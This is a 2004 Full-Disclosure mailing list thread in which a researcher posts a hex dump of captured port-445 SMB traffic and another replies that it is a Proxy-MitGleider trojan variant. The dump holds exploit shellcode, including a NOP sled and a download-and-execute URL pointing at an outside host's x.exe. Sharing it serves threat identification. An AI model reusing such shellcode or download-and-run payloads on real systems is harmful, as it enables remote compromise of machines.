RE: Is this a new Trojan?

["Keifer, Trey" <Trey.Keifer () fishnetsecurity com>]

A variant of Proxy-MitGleider which attempts to access a x.exe is referenced in this advisory from
McAfee...

http://vil.nai.com/vil/content/v_100944.htm 

> -----Original Message-----
> From: Sumeet SINGH [mailto:susingh () cs ucsd edu] 
> Sent: Tuesday, August 31, 2004 4:35 PM
> To: full-disclosure () lists netsys com
> Subject: [Full-disclosure] Is this a new Trojan?
>
> hi,
>
> We've been seeing a large number of copies of a TCP packet to 
> port 445, that includes the following portion that we have 
> not seen before:
>
> 00 00 0c f4 ff 53 4d 42 25 00 00 00 00 18 07 c8  .....SMB%.......
> 00 00 00 00 00 00 00 00 00 00 00 00 00 08 dc 04  ................
> 00 08 60 00 10 00 00 a0 0c 00 00 00 04 00 00 00  ..`.............
> 00 00 00 00 00 00 00 00 00 54 00 a0 0c 54 00 02  .........T...T..
> 00 26 00 00 40 b1 0c 10 5c 00 50 00 49 00 50 00  .&..@...\.P.I.P.
> 45 00 5c 00 00 00 00 00 05 00 00 03 10 00 00 00  E.\.............
> a0 0c 00 00 01 00 00 00 88 0c 00 00 00 00 09 00  ................
> ec 03 00 00 00 00 00 00 ec 03 00 00 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
> 90 90 90 90 90 90 90 90 90 90 90 90 eb 58 68 74  .............Xht
> 74 70 3a 2f 2f 32 30 32 2e 31 2e 32 30 30 2e 31  tp://202.1.200.1
> 39 3a 32 34 34 36 2f 78 2e 65 78 65 df df df df  9:2446/x.exe....
> df df df df df df df df df 4d 6f 7a 69 6c 6c 61  
> .........Mozilla 2f 34 2e 30 df 5d 33 c9 66 b9 ee 01 8d 75 05 
> 8b  /4.0.]3.f....u..
> fe 8a 06 3c 99 75 05 46 8a 06 2c 30 46 34 99 88  .....u.F..,0F4..
>
> (the remainder of the packet has been removed)
>
> Has anyone seen this before?
> The IP address (202.1.200.19) is unreachable.
>
> Is this an old exploit (worm/bot) that just took its time to 
> come around to us?
>
> -- sumeet
> PhD. Student
> UCSD
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


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